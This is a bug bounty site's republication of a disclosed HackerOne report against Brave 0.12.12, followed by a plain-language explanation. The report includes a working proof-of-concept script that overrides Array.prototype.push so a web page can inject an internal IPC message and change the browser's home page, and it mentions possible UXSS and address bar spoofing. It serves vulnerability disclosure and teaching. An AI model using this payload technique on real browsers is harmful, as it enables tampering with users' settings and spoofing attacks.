Skip to content
RCE Disclosed report Advanced

Sending arbitrary IPC messages via overriding Array.prototype.push

A page could override the built-in Array.prototype.push method so that when the browser's internal event emitter registered a callback, attacker code ran instead and sent an IPC message to change a browser setting. The attacker could change the home page and, per the linked reports, potentially achieve UXSS and address bar spoofing.

masatokinugawa Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 5 hours
  • Disclosed after 21 months

Summary:

This bug is similar to #187542 and #188086. I found that also Array.prototype.push is exploitable.

Tested on:

Brave 0.12.12

Steps To Reproduce:

  1. Go to this page: https://vulnerabledoma.in/brave/settings_change3.html
<script>
Array.prototype.push=function(e){
	this[0]=function(e,f){
		e.sender.send("dispatch-action",'{"actionType":"app-change-setting","key":"general.homepage","value":"http://attacker.example.com/"}');
	}
}
</script>

<embed src=".swf"></embed>
  1. See about:preferences. You can confirm that your home page is changed to http://attacker.example.com/.

Also an attacker can do UXSS and address bar spoofing using this bug. Please see #187542's PoC .

#Technical Details

This push in the event_emitter.js is overwritten:

EventEmitter2.prototype.on = function (event, fn) {
  this._callbacks = this._callbacks || {};
  (this._callbacks['$' + event] = this._callbacks['$' + event] || [])
    .push(fn);
  return this;
};

Could you confirm this bug? Thanks!

The original report as published on HackerOne, by masatokinugawa. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the browser's privileged JavaScript reused a page-controllable built-in (Array.prototype.push) without isolating it, so a page could hijack internal event registration and inject IPC messages.

Impact

An attacker could change browser settings and, according to the linked reports, potentially perform UXSS and address bar spoofing.

What the attacker needed

Victim visits a malicious page

How it was found

  1. Open the attacker's page in the browser.
  2. The page overrides Array.prototype.push with a function that sends a dispatch-action IPC message changing the home page setting.
  3. The page embeds a Flash object.
  4. Check the preferences page and observe the home page has been changed.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Web pages and the browser share some built-in JavaScript behaviour. If a page replaces a standard method like push on arrays, and the browser's own code later calls that method, the page's code runs inside the browser's privileged context. That let the page send internal messages the browser normally only sends itself, such as one that changes a setting.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by masatokinugawa

View all

6 more disclosed reports, best first.

More from Brave Software

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.